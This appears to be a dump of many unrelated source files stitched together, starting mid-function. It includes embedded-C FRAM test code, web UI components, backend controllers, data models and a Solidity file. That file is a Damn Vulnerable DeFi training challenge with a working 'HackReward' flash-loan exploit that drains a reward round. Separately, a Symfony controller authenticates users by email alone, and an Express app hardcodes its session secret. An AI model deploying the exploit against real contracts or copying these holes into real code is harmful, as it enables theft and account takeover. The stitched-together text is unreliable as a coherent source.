1, 1000); HAL_SPI_Receive(&hspi, &status, 1, 1000); HAL_GPIO_WritePin(csPort, csPin, PIN_SET); // CS = 1 return status; } uint8_t FramTest32(uint16_t Address, uint32_t data) { uint8_t rx[4] = {0}; // uint8_t status = getStatusRegister(); // DBG("-I- FRAM - Status: %i\r\n", status); // FramInit(hspi2, GPIOE, GPIO_PIN_10); while (1) { FramWrite32(Address, data); HAL_Delay(1000); for (uint8_t i = 0; i < 4; i++) rx[i] = 0; // DBG("-I- FRAM - erase tab: 0x%2X 0x%2X 0x%2X 0x%2X\r\n", rx[3], rx[2], rx[1], rx[0]); FramRead(Address, &rx, sizeof(rx)); // DBG("-I- FRAM - Byte read: 0x%2X 0x%2X 0x%2X 0x%2X\r\n", rx[3], rx[2], rx[1], rx[0]); } return 1; } // #endif
/** React core **/ import { useEffect, useState } from 'react'; /** Components **/ import { ButtonLink } from '../../components/ui'; import { ShortenForm } from '../../components/ShortenForm'; import { ShortenLinks } from '../../components/ShortenLinks'; import { FeaturesList } from '../../components/FeaturesList'; /** Actions **/ import { setLinks } from '../../store/shorten-links/shorten-links.reducer'; /** Hooks **/ import { useAppDispatch, useAppSelector } from '../../hooks/react-redux'; /** Styles **/ import styles from './Home.module.scss'; export default function Home() { const dispatch = useAppDispatch(); const [hasLinks, setHasLinks] = useState(false); const links = useAppSelector(state => state.shortenLinks.links); useEffect(() => { const checkData = () => { setHasLinks(links && !!links.length); dispatch(setLinks(links)); }; checkData(); }, [dispatch, links]); return ( <div className={styles.home}> <img className={styles.home__image} src={`${process.env.PUBLIC_URL}/images/illustration-working.svg`} alt="working" /> <div className={styles['get-started']}> <h2 className={styles['get-started__title']}>More than just shorter links</h2> <p className={styles['get-started__description']}> Build test text in app your brand’s recognition and get detailed insights on how your links are performing. </p> <ButtonLink to="/features" className={styles['get-started__btn']}> Get Started </ButtonLink> </div> <ShortenForm /> <div className={styles['secondary-content']}> {hasLinks && <ShortenLinks links={links} />} <div className={styles['advanced-statistics']}> <h3 className={styles['advanced-statistics__title']}>Advanced Statistics</h3> <p className={styles['advanced-statistics__description']}> Track how your links are performing across the web with our advanced statistics dashboard. </p> </div> <FeaturesList /> </div> </div> ); }
<?php use Illuminate\Support\Facades\Route; use App\Http\Controllers\AppController; /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ //correct way to access controller function Route::get('/', [AppController::class, 'index']); // basic route // Route::get('/','AppController@function-name'); Route::get('/new',"AppController@index"); // route with required parameter // Route::get('/test/{parameter}','AppController@function-name'); // route with optional parameter-> add question mark after parameter name // Route::get('/test/{parameter?}','AppController@function-name'); // named route => also called as reverse routing // Route::get('/contact','AppController@function-name')=>name('contact'); Route::get('/Hello', function () { echo "Hello"; // return view('welcome');` });
# Learning Python for Future Technologies This repository is your starting point for learning Python, a versatile and widely used programming language, to prepare for future technologies and projects. ## Getting Started - Python is an essential language for future technologies, including machine learning, web development, data science, and more. - Start by installing Python on your computer: [Python Official Website](https://www.python.org/downloads/). - Explore the Python documentation and tutorials: [Python Documentation](https://docs.python.org/3/tutorial/index.html). ## Topics Covered - Fundamentals of Python syntax and data types. - Basic and advanced Python programming techniques. - Building projects and applications. - Preparing for future technology fields such as data science, machine learning, web development, and more. ## Usage - The repository contains code examples and exercises in Python. - Explore the `examples` directory for hands-on Python coding exercises. - Use online Python interpreters or set up your local Python environment to practice. ## Contributing Contributions are welcome! If you find errors or want to improve examples, feel free to open issues or submit pull requests. ## Resources - [Python Official Documentation](https://docs.python.org/3/) - [Python Tutorial](https://www.geeksforgeeks.org/python-programming-language/)
import express from "express"; import axios from "axios"; import bodyParser from "body-parser"; const app = express(); const port = 3000; const API_URL = "https://scraper.run"; app.use(bodyParser.urlencoded({ extended: true })); app.use(express.static("public")); app.set("view engine", "ejs"); // Set EJS as the template engine app.get("/", (req, res) => { res.render("index.ejs", { content: null }); // Initialize content as null }); app.post("/Validation", async (req, res) => { const inputValidation = req.body.inputValidation; let result; try { // Determine the validation type based on the input if (inputValidation.includes("@")) { result = await axios.get(API_URL + `/email?addr=${inputValidation}`); } else if (/^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$/.test(inputValidation)) { result = await axios.get(API_URL + `/ip?addr=${inputValidation}`); } else if (/^(?:(?!-)[A-Za-z0-9-]{1,63}(?<!-)\.?)+(?:[A-Za-z]{2,})$/.test(inputValidation)) { result = await axios.get(API_URL + `/dns?addr=${inputValidation}`); } else { result = await axios.get(API_URL + `/whois?addr=${inputValidation}`); } res.render("index.ejs", { content: JSON.stringify(result.data) }); } catch (error) { res.status(404).send(error.message); } }); app.get('/Hosd', (req, res) => { res.render('Hosd.ejs'); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); });
import { ProductCustomizationDecorator } from './product/product-customization-decorator'; import { ProductStampDecorator } from './product/product-stamp-decorator'; import { TShirt } from './product/t-shirt'; const camiseta = new TShirt(); const tShirtWithStamp = new ProductStampDecorator(camiseta); const customizedTShirt = new ProductCustomizationDecorator(camiseta); console.log(camiseta.getName(), ': R$', camiseta.getPrice()); console.log(tShirtWithStamp.getName(), ': R$', tShirtWithStamp.getPrice()); console.log(customizedTShirt.getName(), ': R$', customizedTShirt.getPrice());
import { Button, FormControl, FormLabel, Input, InputGroup, InputLeftAddon, Modal, ModalBody, ModalCloseButton, ModalContent, ModalHeader, ModalOverlay, Switch, Text, } from '@chakra-ui/react' import { useState } from 'react' import { HiOutlineFolderOpen } from 'react-icons/hi' import { useTorrent } from '../../../hooks/use-torrent' import { ModalFooter } from './ModalFooter' type SetLocationProps = { isOpen: boolean close: () => void } export const SetLocation = ({ isOpen, close }: SetLocationProps) => { const { torrent, loading, setLocation } = useTorrent() const [loc, setLoc] = useState<string>(torrent.downloadDir) const [move, setMove] = useState<boolean>(false) return ( <Modal isOpen={isOpen} onClose={close} size={['xs', 'md', 'xl']}> <ModalOverlay /> <ModalContent> <ModalHeader>Set location</ModalHeader> <ModalCloseButton /> <ModalBody> <Text mb={2}> Set a new location for <strong>{torrent.name}</strong> </Text> <InputGroup> <InputLeftAddon children={<HiOutlineFolderOpen />} /> <Input autoFocus placeholder='path location' value={loc} onChange={(e) => setLoc(e.target.value)} /> </InputGroup> <FormControl display='flex' alignItems='center' mt={2}> <Switch id='data-removal' checked={move} onChange={(e) => setMove(e.target.checked)} /> <FormLabel htmlFor='data-removal' mb={1} ml={2}> Move data to new location </FormLabel> </FormControl> </ModalBody> <ModalFooter close={close}> <Button variant='ghost' colorScheme='green' disabled={loading} isLoading={loading} onClick={() => setLocation(loc, move).finally(close)} > Save </Button> </ModalFooter> </ModalContent> </Modal> ) }
import { React, useState, useEffect } from "react"; import { GetAllUsers, GetUnidadByUsername, RemoveUser, } from "../../Services/UsersService"; import { UsersAdminRow } from "./UsersAdminRow"; import { UsersAdminModalForm } from "./UsersAdminModalForm"; import { UsersAdminRowUnidad } from "./UsersAdminRowUnidad"; import { useNavigate } from "react-router-dom"; import useAuth from "../../hooks/useAuth"; import Container from "@mui/material/Container"; import Grid from "@mui/material/Grid"; import Paper from "@mui/material/Paper"; const UsersAdmin = () => { const [users, setUsers] = useState([]); const [visibleForm, setVisibleForm] = useState(false); const [visibleFormUnidad, setVisibleFormUnidad] = useState(false); const [passForm, setPassForm] = useState(true); const [usernameRowSelected, setUsernameRowSelected] = useState(""); const [tipoPersonaRowSelected, setTipoPersonaRowSelected] = useState(""); const { auth } = useAuth(); const navigate = useNavigate(); const initialUserForm = { dni: null, edad: null, email: "", nombre: "", tipoPersona: "Tipo de persona...", username: "", password: "", unidad_id: "", }; const initialUnidades = [ { edificio_id: null, estado: null, id: null, nro: null, piso: null, }, ]; const initialEdificios = [ { edificio_id: null, direccion: null, }, ]; const [userSelected, setUserSelected] = useState(initialUserForm); const [render, setRender] = useState(1); const [unidades, setUnidades] = useState(initialUnidades); const [selectedRow, setSelectedRow] = useState(null); const handlerUserSelectedForm = (user, remove = false) => { setUserSelected({ ...user }); if (!remove) { setVisibleForm(true); } else { handlerRemoveUser(user, auth).then(() => { setVisibleForm(false); setUserSelected(initialUserForm); setRender(render * -1); //para renderizar y que se vuelva a ejecutar el useEffect }); } }; useEffect(() => { const fetchUsers = async () => { let initialUsers = await GetAllUsers(auth); return initialUsers; }; fetchUsers().then((res) => setUsers(res.slice(1,))); }, [visibleForm, visibleFormUnidad, render]); const handlerOpenForm = () => { setPassForm(true); setVisibleForm(true); }; const handlerAddUnidad = () => { const dataNavigate = { state: { username: usernameRowSelected }, }; if (usernameRowSelected === "") { alert("Debe seleccionar un usuario."); } else { navigate("/usersaddunidad", dataNavigate); } }; const handlerRemoveUser = async (user) => { // eslint-disable-next-line no-restricted-globals let result = confirm("Confirma la eliminacion del usuario?"); if (result && user.username === "admin") { alert("El usuario root no puede ser eliminado"); } else if (result) { const res = await RemoveUser(user.username, auth); return res; } }; const handleRowClick = (index, username, tipoPersona) => { setUsernameRowSelected(username); setTipoPersonaRowSelected(tipoPersona); setUnidades(initialUnidades); setSelectedRow(index); handlerGetUnidadByUsername(username, auth).then((res) => { if (res) { let unidad = [ { edificio_id: res.edificioID, estado: res.estado, id: res.id, nro: res.nro, piso: res.piso, }, ]; console.log(unidad); setUnidades(unidad); } }); }; const handlerGetUnidadByUsername = async (username) => { const unidades = await GetUnidadByUsername(username, auth); return unidades; }; return ( <Container maxWidth="lg" sx={{ mt: 4, mb: 4 }}> <Grid container spacing={3}> {/* Chart */} <Grid item xs={12} md={8} lg={15}> <Paper sx={{ p: 2, display: "flex", flexDirection: "column", height: 640, }} > {!visibleForm || ( <UsersAdminModalForm setVisibleForm={setVisibleForm} initialUserForm={initialUserForm} userSelected={userSelected} setUserSelected={setUserSelected} passForm={passForm} setPassForm={setPassForm} /> )} {users.length === 0 ? ( <div className="alert alert-warning my-4"> No hay usuarios en el sistema. </div> ) : ( <div className="scrollable" style={{ height: "200px", overflow: "scroll" }} > <table id="users-table" className="table table-hover table-stripped table-responsive mh-50 " > <thead> <tr> <th>DNI</th> <th>Nombre</th> <th>Edad</th> <th>Tipo usuario</th> <th>Username</th> <th>Email</th> <th></th> <th></th> <th></th> </tr> </thead> <tbody> {users.length === 0 ? ( <div className="alert alert-warning my-4"> No hay usuarios en el sistema. </div> ) : ( users.map( ( { nombre, dni, edad, username, email, tipoPersona }, index ) => ( <UsersAdminRow id={dni} index={index} nombre={nombre} dni={dni} edad={edad} email={email} tipoPersona={tipoPersona} username={username} handlerUserSelectedForm={handlerUserSelectedForm} setPassForm={setPassForm} selectedRow={selectedRow} setSelectedRow={setSelectedRow} handleRowClick={handleRowClick} /> ) ) )} </tbody> </table> </div> )} <Grid item > <button sx={{ mt: 4, mb: 4 }} className="btn btn-primary my-2" onClick={handlerOpenForm} > Nuevo </button> </Grid> <div> <h6 className="mt-4">Unidades del usuario</h6> </div> {selectedRow === null ? ( <div className="alert alert-warning my-4"> Seleccionar usuario para ver las unidades habitadas. </div> ) : ( <Grid container> <table className="table table-hover table-stripped "> <thead> <tr> <th>Nro. Unidad</th> <th>Estado</th> <th>Direccion</th> <th>Piso</th> <th>Depto</th> <th></th> <th></th> <th></th> </tr> </thead> <tbody> {unidades[0].id === null ? ( <div className="alert alert-warning my-4"> No hay unidades para mostrar. </div> ) : ( unidades.map(({ edificio_id, estado, id, nro, piso }) => ( <UsersAdminRowUnidad id={id} key={id} estado={estado} nro={nro} piso={piso} handlerUserSelectedForm={handlerUserSelectedForm} setPassForm={setPassForm} usernameRowSelected={usernameRowSelected} handlerGetUnidadByUsername={handlerGetUnidadByUsername} setUnidades={setUnidades} initialUnidades={initialUnidades} /> )) )} </tbody> </table> </Grid> )} <Grid item > {tipoPersonaRowSelected !== "Administrador" && ( <button className="btn btn-primary my-2" onClick={handlerAddUnidad}> Asignar unidad </button> )} </Grid> </Paper> </Grid> </Grid> </Container> ); }; export default UsersAdmin;
import request from 'supertest' import { SpectatorFactory } from 'test/factories/make-spectator' import { app } from '@/infra/app' import { BcryptHasher } from '@/infra/cryptography/bcrypt-hasher' import { PrismaService } from '@/infra/database/prisma' let prisma: PrismaService let spectatorFactory: SpectatorFactory let bcryptHasher: BcryptHasher describe('Authenticate (E2E)', () => { beforeAll(async () => { prisma = new PrismaService() spectatorFactory = new SpectatorFactory(prisma) bcryptHasher = new BcryptHasher() await app.ready() }) afterAll(async () => { await app.close() }) test('[POST] /sessions', async () => { await spectatorFactory.makePrismaSpectator({ email: '[email protected]', passwordHash: await bcryptHasher.hash('123456'), }) const response = await request(app.server).post('/sessions').send({ email: '[email protected]', password: '123456', }) expect(response.statusCode).toBe(201) expect(response.body).toEqual({ access_token: expect.any(String), }) }) })
const mongoose = require('mongoose') const bcrypt = require('bcryptjs') const jwt = require('jsonwebtoken') const UserSchema = new mongoose.Schema({ name: { type: String, required: [true, 'please provide the name'], maxlength: 50, minlength: 3 }, email: { type: String, required: [true, 'please provide the email'], match: [ /^(([^<>()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/, 'Please provide a valid email' ], unique: true }, password: { type: String, required: [true, 'please provide the password'], minlength: 5 } }) UserSchema.pre('save', async function() { const salt = await bcrypt.genSalt(10) this.password = await bcrypt.hash(this.password, salt) }) UserSchema.methods.generateToken = function() { return jwt.sign({userId: this._id, username: this.name}, process.env.JWT_SECRET, {expiresIn: process.env.JWT_LIFETIME}) } UserSchema.methods.comparePassword = async function(candidatPassword) { const isSame = await bcrypt.compare(candidatPassword, this.password) return isSame } module.exports = mongoose.model('User', UserSchema)
import { Component, OnInit } from '@angular/core'; import { polarCategory } from './datasource'; @Component({ selector: 'app-container', template: ` <ejs-chart id='chartcontainer' [primaryXAxis]='primaryXAxis' [primaryYAxis]='primaryYAxis' [title]='title' > <e-series-collection> <e-series [dataSource]='data' type='Polar' xName='x' yName='y' drawType='Scatter' name='London'> </e-series> </e-series-collection> </ejs-chart>` }) export class AppComponent implements OnInit { public primaryXAxis?: Object; public title?: string; public primaryYAxis?: Object; public data?: Object[]; ngOnInit(): void { this.data = polarCategory; this.primaryXAxis = { title: 'Month', valueType: 'Category' }; this.primaryYAxis = { minimum: -5, maximum: 35, interval: 10, title: 'Temperature in Celsius', labelFormat: '{value}C' }; this.title = 'Climate Graph-2012'; } }
package com.payal.onlinecoursesjetpack.ui.components import androidx.compose.foundation.Image import androidx.compose.foundation.background import androidx.compose.foundation.layout.Box import androidx.compose.foundation.layout.Column import androidx.compose.foundation.layout.fillMaxWidth import androidx.compose.foundation.layout.height import androidx.compose.foundation.layout.padding import androidx.compose.foundation.layout.width import androidx.compose.foundation.shape.RoundedCornerShape import androidx.compose.material3.LinearProgressIndicator import androidx.compose.material3.MaterialTheme import androidx.compose.material3.Text import androidx.compose.runtime.Composable import androidx.compose.ui.Alignment import androidx.compose.ui.Modifier import androidx.compose.ui.graphics.Brush import androidx.compose.ui.graphics.Color.Companion.Gray import androidx.compose.ui.res.painterResource import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.text.style.TextOverflow import androidx.compose.ui.tooling.preview.Preview import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.sp import com.payal.onlinecoursesjetpack.R import com.payal.onlinecoursesjetpack.ui.theme.Gradient1 import com.payal.onlinecoursesjetpack.ui.theme.Gradient2 import com.payal.onlinecoursesjetpack.ui.theme.Green import com.payal.onlinecoursesjetpack.ui.theme.Grey50 import com.payal.onlinecoursesjetpack.ui.theme.Grey80 import com.payal.onlinecoursesjetpack.ui.theme.LightGreen @Composable fun GradientCard( image: Int, title: String, subTitle: String, timeStamp: @Composable (Modifier) -> Unit, linearProgress: @Composable () -> Unit ) { Column( modifier = Modifier.width(186.dp) ) { Box( modifier = Modifier .fillMaxWidth() .background( brush = Brush.linearGradient( colors = listOf( Gradient1, Gradient2 ) ), shape = RoundedCornerShape(16.dp) ), contentAlignment = Alignment.Center ) { Image( painter = painterResource(id = image), contentDescription = "Descriptive Alt Text", modifier = Modifier .height(122.dp) .width(130.dp) ) timeStamp(Modifier.align(Alignment.BottomEnd)) } Text( text = title, style = MaterialTheme.typography.bodySmall.copy( fontWeight = FontWeight(600) ), maxLines = 1, overflow = TextOverflow.Ellipsis, modifier = Modifier.padding(top = 10.dp) ) Text( text = subTitle, style = MaterialTheme.typography.bodySmall.copy( fontWeight = FontWeight(400), fontSize = 10.sp, color = Gray ), maxLines = 1, overflow = TextOverflow.Ellipsis, modifier = Modifier.padding(top = 5.dp) ) linearProgress() } } @Preview(showBackground = true) @Composable fun GradientCardPreview() { GradientCard( image = R.drawable.featured_sub_img1, title = "My Course", subTitle = "My course is...", timeStamp = { }, linearProgress = { } ) }
import React from "react"; export type TypeTweet = { id: number, tweetContent: { imageUrl: string, text: string, liked: boolean, likes: number, views: number, tweetDate: Date, }, user: { name : string; nickname: string; avatarUrl: string; } } export const getTweets = () : TypeTweet[] => { return [ { id: 55, tweetContent: { imageUrl: "https://www.senkyu.com/wp-content/uploads/2012/05/senkyu_japan_33.jpg", text: "Il mio cuore ha saltato un battito quando ti ho vista, sei come una rosa rara in un campo di girasoli, il tuo sorriso è come un raggio di sole in una giornata nuvolosa. Non posso credere che non ti abbia mai vista prima, sei assolutamente incantevole", liked: true, likes: 8461, views: 17855, tweetDate: new Date(), }, user: { name: "Asano", nickname: "@GigaAsano", avatarUrl: "https://gianlucadimarzio.com/images/takuma-asano-giappone-getty.jpg?p=14x9&s=2904b32571799644740bf8035c2d1e28", }, }, { id: 5, tweetContent: { imageUrl: "https://cdn.tuttosport.com/img/990/495/2022/12/06/205103320-7611c38a-1078-43bb-8cc0-e955bde5a026.jpg", text: "daje che oggi gli facciamo il bucio di c***", likes: 95641, liked: false, views: 785984, tweetDate: new Date(), }, user: { name: "Luca Lattanzio", nickname: "@Laki", avatarUrl: "https://upload.wikimedia.org/wikipedia/commons/2/2d/Nordin_Amrabat_%28cropped%29.jpg", }, }, { id: 20, tweetContent: { imageUrl: "https://images2.alphacoders.com/102/1026517.jpg", text: "Posto consigliatissimo, facile da raggiungere, basterà acamminare per 40 giorni verso Nord per poi svoltare verso Est per altri 15 gg. Arrivati davanti ad una caverna dovrete parlare con un orco che vi farà tre indovinelli. Questa la caverna dell'orco", likes: 685981, liked: false, views: 415864106, tweetDate: new Date(), }, user: { name: "Brutus", nickname: "@IlDioGreco", avatarUrl: "https://i.pinimg.com/originals/ad/89/75/ad8975af8cd031adad21e02ee328d806.jpg", }, }, ]; };
<?php namespace App\Controller; use App\Entity\User; use App\Entity\UserProfessional; use App\Security\EmailAuthenticator; use App\Service\UserService; use Doctrine\ORM\EntityManagerInterface; use Psr\Log\LoggerInterface; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\Routing\Annotation\Route; /** * @Route("/user") */ class UserController extends AbstractController { private EntityManagerInterface $entityManager; private $userService; private $logger; public function __construct(EntityManagerInterface $entityManager, UserService $userService, LoggerInterface $logger) { $this->entityManager = $entityManager; $this->userService = $userService; $this->logger = $logger; } /** * @Route("/authenticate-user", name="authenticate_user", methods={"POST"}) */ public function authenticateUser(Request $request, EmailAuthenticator $authenticator) { $email = $request->query->get('email'); $entityManager = $this->entityManager; $userRepository = $entityManager->getRepository(User::class); $user = $userRepository->findOneBy(['email' => $email]); if (!$user) { // Handle invalid user // You can return a response indicating unsuccessful authentication } $authenticatedToken = $authenticator->createAuthenticatedToken($user, 'main'); return $this->json([ 'message' => 'Authentication successful', 'user' => $user, ]); } /** * @Route("/create-user", name="create_user", methods={"POST"}) */ public function createUser(Request $request): JsonResponse { try { $entityManager = $this->entityManager; $data = json_decode($request->getContent(), true); $userRepository = $entityManager->getRepository(User::class); $user = $userRepository->findOneBy(['email' => $data['data']['usuario']['perfil']['email']]); if (!$user) { $userProfessional = $this->userService->createUserMobile($data, null); } else { $userProfessional = $user->getUserProfessional(); } return new JsonResponse(['status' => true, 'message' => 'User created', 'id' => $userProfessional->getId()]); } catch (\Exception $e) { $errorMessage = 'Error creating user: ' . $e->getMessage() . "\n" . $e->getTraceAsString(); $this->logger->error($errorMessage); return new JsonResponse(['status' => false, 'message' => 'Error creating user', 'error' => $e->getMessage()]); } } /** * @Route("/edit-user/{id}", name="edit_user", methods={"POST"}) */ public function editUser(Request $request, int $id): JsonResponse { try { $entityManager = $this->entityManager; $userProfessional = $entityManager->getRepository(UserProfessional::class)->find($id); if (!$userProfessional) { return new JsonResponse(['status' => false, 'message' => 'UserProfessional not found']); } $data = json_decode($request->getContent(), true); $this->userService->createUserMobile($data, $userProfessional); return new JsonResponse(['status' => true, 'message' => 'User created']); } catch (\Exception $e) { $errorMessage = 'Error creating user: ' . $e->getMessage(); $this->logger->error($errorMessage); return new JsonResponse(['status' => false, 'message' => 'Error creating user', 'error' => $e->getMessage()]); } } /** * @Route("/check-user", name="check_user", methods={"GET"}) */ public function checkUser(Request $request): JsonResponse { $email = $request->query->get('email'); $entityManager = $this->entityManager; $userRepository = $entityManager->getRepository(User::class); $user = $userRepository->findOneBy(['email' => $email]); if ($user) { return new JsonResponse(['exists' => true]); } else { return new JsonResponse(['exists' => false]); } } }
import express from 'express'; import expressSession from 'express-session'; import path from 'path'; const app = express(); function datetime() { const date = new Date(); const year = date.getFullYear() const month = getTwoDigit(date.getMonth()) const day = getTwoDigit(date.getDay()) const h = getTwoDigit(date.getHours()) const m = getTwoDigit(date.getMinutes()) const s = getTwoDigit(date.getSeconds()) return `[${year}-${month}-${day} ${h}:${m}:${s}] ` } function getTwoDigit(value: number) { if (value < 10) { return `0${String(value)}` } return String(value) } // Add this line app.use( expressSession({ secret: 'hsfodhsfouhwqeljdbhqwjlesad', resave: true, saveUninitialized: true, }), ) declare module 'express-session' { interface SessionData { counter?: number } } app.use((req, res, next) => { console.log( datetime() + " Request " + req.path) next() }) // wallsadsadsad app.get('/', (req, res, next) => { if (req.session.counter) { req.session.counter += 1 } else { req.session.counter = 1 } console.log("counter: " + req.session.counter) res.sendFile(path.resolve('./public/wall.html')) }) app.use(express.static('public')) // auto to do next() app.use(express.static('error')) // auto to do next() app.use((req, res, next) => { res.sendFile(path.resolve('./error/404.html')) }) app.listen(8080, () => { console.log('Listening on port 8080'); })
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>16-cookie-封装</title> <script> window.onload = function (ev) { // document.cookie = "age=88;"; // addCookie("gender", "male"); // addCookie("score", "998", 1, "/", "127.0.0.1"); function addCookie(key, value, day, path, domain) { // 1.处理默认保存的路径 // if(!path){ // var index = window.location.pathname.lastIndexOf("/") // var currentPath = window.location.pathname.slice(0, index); // path = currentPath; // } var index = window.location.pathname.lastIndexOf("/") var currentPath = window.location.pathname.slice(0, index); path = path || currentPath; // 2.处理默认保存的domain domain = domain || document.domain; // 3.处理默认的过期时间 if (!day) { document.cookie = key + "=" + value + ";path=" + path + ";domain=" + domain + ";"; } else { var date = new Date(); date.setDate(date.getDate() + day); document.cookie = key + "=" + value + ";expires=" + date.toGMTString() + ";path=" + path + ";domain=" + domain + ";"; } } function getCookie(key) { // console.log(document.cookie); var res = document.cookie.split(";"); // console.log(res); for (var i = 0; i < res.length; i++) { // console.log(res[i]); var temp = res[i].split("="); // console.log(temp); if (temp[0].trim() === key) { return temp[1]; } } } console.log(getCookie("name")); // 默认情况下只能删除默认路径中保存的cookie, 如果想删除指定路径保存的cookie, 那么必须在删除的时候指定路径才可以 function delCookie(key, path) { addCookie(key, getCookie(key), -1, path); } delCookie("name", "/"); } </script> </head> <body> </body> </html>
pragma solidity ^0.6.0; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../DamnValuableToken.sol"; /** * @notice A simple pool to get flash loans of DVT */ contract FlashLoanerPool is ReentrancyGuard { using Address for address payable; DamnValuableToken public liquidityToken; constructor(address liquidityTokenAddress) public { liquidityToken = DamnValuableToken(liquidityTokenAddress); } /**+-We can Attack the "TheRewarderPool" S.C. and Claim ALL the rewards of the Next Round of Rewards by waiting for the Next Round of Reward to Start, and once it does we take a FlashLoan for all the DVTokens inside THIS S.C., and then we deposit it in the "TheRewarderPool" S.C., this will trigger the "distributeRewards()" back to us, meaning that we will get all of the Rewards from this Round, and after we Claim the Rewards we IMMEDIATELY Call "withdrawal(ammountToWithDraw)".*/ function flashLoan(uint256 amount) external nonReentrant { uint256 balanceBefore = liquidityToken.balanceOf(address(this)); require(amount <= balanceBefore, "Not enough token balance"); require(msg.sender.isContract(), "Borrower must be a deployed contract"); liquidityToken.transfer(msg.sender, amount); (bool success, ) = msg.sender.call( abi.encodeWithSignature( "receiveFlashLoan(uint256)", amount ) ); require(success, "External call failed"); require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back"); } } import "./TheRewarderPool.sol"; import "./RewardToken.sol"; contract HackReward { FlashLoanerPool public pool; DamnValuableToken public token; TheRewarderPool public rewardPool; RewardToken public reward; constructor(address _pool, address _token, address _rewardPool, address _reward) public { pool = FlashLoanerPool(_pool); token = DamnValuableToken(_token); rewardPool = TheRewarderPool(_rewardPool); reward = RewardToken(_reward); } fallback() external { uint bal = token.balanceOf(address(this)); token.approve(address(rewardPool), bal); rewardPool.deposit(bal); rewardPool.withdraw(bal); token.transfer(address(pool), bal); } function attack() external { pool.flashLoan(token.balanceOf(address(pool))); reward.transfer(msg.sender, reward.balanceOf(address(this))); } }
// // EpisodeViewModel.swift // WhatToWatch // // Created by Jay Noonan on 12/5/22. // import Foundation import FirebaseFirestore @MainActor class EpisodeViewModel: ObservableObject { @Published var isLoading = false @Published var episode: EpisodeDetails = EpisodeDetails(id: 0, name: "", season: 0, rating: Rating(average: 0.0), image: Picture(medium: "")) func getData(episodeID: Int) async { let urlString = "https://api.tvmaze.com/episodes/\(episodeID)" print("We are accessing the URL \(urlString)") isLoading = true guard let url = URL(string: urlString) else { print("ERROR: could not create URL from \(urlString)") isLoading = false return } do { let (data, _) = try await URLSession.shared.data(from: url) guard let returned = try? JSONDecoder().decode(EpisodeDetails.self, from: data) else { print("JSON ERROR: could not decode returned JSON data") isLoading = false return } self.episode = returned isLoading = false } catch { isLoading = false print("ERROR: could not load user URL at \(urlString) to get data and response") } } }
package com.zc.rpc.provider.common.manager; import com.zc.rpc.constants.RpcConstants; import com.zc.rpc.protocol.RpcProtocol; import com.zc.rpc.protocol.enumeration.RpcType; import com.zc.rpc.protocol.header.RpcHeader; import com.zc.rpc.protocol.header.RpcHeaderFactory; import com.zc.rpc.protocol.response.RpcResponse; import com.zc.rpc.provider.common.cache.ProviderChannelCache; import io.netty.channel.Channel; import lombok.extern.slf4j.Slf4j; import java.util.Set; /** * @Description 提供者的连接管理器,负责扫描清除空闲的Channel、向channel发送心跳请求 * @Author Schrodinger's Cobra * @Date 2024-02-22 */ @Slf4j public class ProviderConnectionManager { /** * @Description 扫描清除空闲的Channel */ public static void scanNotActiveChannel() { Set<Channel> channelCache = ProviderChannelCache.getChannelCache(); if (channelCache == null || channelCache.isEmpty()) { return; } channelCache.forEach((channel) -> { if (!channel.isOpen() || !channel.isActive()) { channel.close(); ProviderChannelCache.remove(channel); } }); } /** * @Description 发送心跳请求 */ public static void broadcastPingMessageFromProvider() { Set<Channel> channelCache = ProviderChannelCache.getChannelCache(); if (channelCache == null || channelCache.isEmpty()) { return; } RpcHeader header = RpcHeaderFactory.getRequestHeader(RpcConstants.SERIALIZATION_JDK, RpcType.HEARTBEAT_FROM_PROVIDER.getType()); RpcProtocol<RpcResponse> responseRpcProtocol = new RpcProtocol<>(); RpcResponse response = new RpcResponse(); response.setResult(RpcConstants.HEARTBEAT_PING); responseRpcProtocol.setHeader(header); responseRpcProtocol.setBody(response); channelCache.forEach((channel -> { if (channel.isOpen() || channel.isActive()) { log.info("提供者发送心跳请求给消费者,消费者是{}", channel.remoteAddress()); channel.writeAndFlush(responseRpcProtocol); } })); } }
package com.example.blogapplicationextend.model.bean; import com.example.blogapplicationextend.model.bean.Category; import com.fasterxml.jackson.annotation.JsonIdentityInfo; import com.fasterxml.jackson.annotation.JsonManagedReference; import com.fasterxml.jackson.annotation.ObjectIdGenerators; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.NoArgsConstructor; import lombok.Setter; import javax.persistence.*; import java.lang.annotation.Target; @Entity @Setter @Getter @Table(name = "blogs") @NoArgsConstructor @AllArgsConstructor @JsonIdentityInfo( generator = ObjectIdGenerators.PropertyGenerator.class, property = "id") public class Blog { @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; private String blogName; private String content; @ManyToOne(cascade = CascadeType.ALL) @JoinColumn(name ="category_id",referencedColumnName = "id") private Category category; @Column(name = "create_date", columnDefinition = "DATE") private String dateCreate; public Blog(String blogName, String content, Category category, String dateCreate) { this.blogName = blogName; this.content = content; this.category = category; this.dateCreate = dateCreate; } }
